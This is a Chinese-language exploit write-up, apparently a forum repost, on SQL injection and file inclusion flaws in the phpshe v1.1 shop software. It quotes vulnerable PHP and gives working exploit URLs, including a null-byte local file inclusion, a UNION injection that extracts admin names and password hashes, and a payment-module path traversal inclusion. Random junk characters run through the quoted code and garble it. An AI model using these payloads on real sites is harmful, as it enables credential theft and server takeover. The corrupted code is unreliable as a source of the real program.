phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
% k, l/ b. N# y8 m1 N2 H0 r. T/* Phpshe v1.1 Vulnerability
1 [8 r. `/ U4 j/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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: [- M, O7 A$ [. U* C9 n, B
# h, Q4 f3 x0 z3 K//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
7 _5 i! t. L6 n; p! e; q& \- Q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
3 f5 Q3 [! B; T8 e! gelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

. V- h* m+ R" v( j- r; O0×01 包含漏洞
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//首页文件
6 R: {" [$ r) Y* q' N<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 E9 B$ `, p  I* `, v/ Cpe_result();
?>
//common 文件 第15行开始
! D5 _; ^2 ?1 ]. Surl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 X! n: g. z. ^6 ]$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
6 W) a9 I8 k/ j+ ~//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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: e# j5 G/ x- m& f 0×02 搜索注入

<code id="code2">

//product.php文件
4 _. L- X- G- ~, P' t# X+ w- Bcase 'list':
$category_id = intval($id);
& L4 F. X# @5 o$ d$info = $db->pe_select('category', array('category_id'=>$category_id));
; b% Z6 F3 e: u" b9 k1 M//搜索
% G! A* V: v& q# c+ B$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
  {0 N9 d: J. S- l' d' p: T4 Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
# Y) n0 c& O# Y2 l/ Telse {
2 s. f# s8 ^2 q7 e4 W. {$sqlwhere .= " order by `product_id` desc";
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8 L" C: k. i, J; P$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ M; j3 n) S% V$product_hotlist = product_hotlist();
//当前路径
4 G, [6 ?8 D) e4 w1 y/ B$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
6 y, j5 q, w. G# A' h5 P0 k' Wpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
* t+ {! a- z% N  l" z6 j5 u{
3 Y: P( M" p1 j7 S% {4 m//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
  E& F$ m2 @: Z  b( B! I) O1 vproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

3 N/ H4 U" u; J7 D$order_id = pe_dbhold($_g_id);

8 z& O' h: b8 z# W# y: D" A( B* S$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

4 L  _% m: u" n: n. p1 q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

' [2 A0 h6 [  l) V) j6 c$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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}

; C( p1 J+ z2 S+ m$ S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 s1 f& b& J; z. I3 G, i8 y, \+ p!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

% a4 y% ]3 J* _/ {5 ]. }3 Aforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

4 b6 i: c, E0 O9 T2 n}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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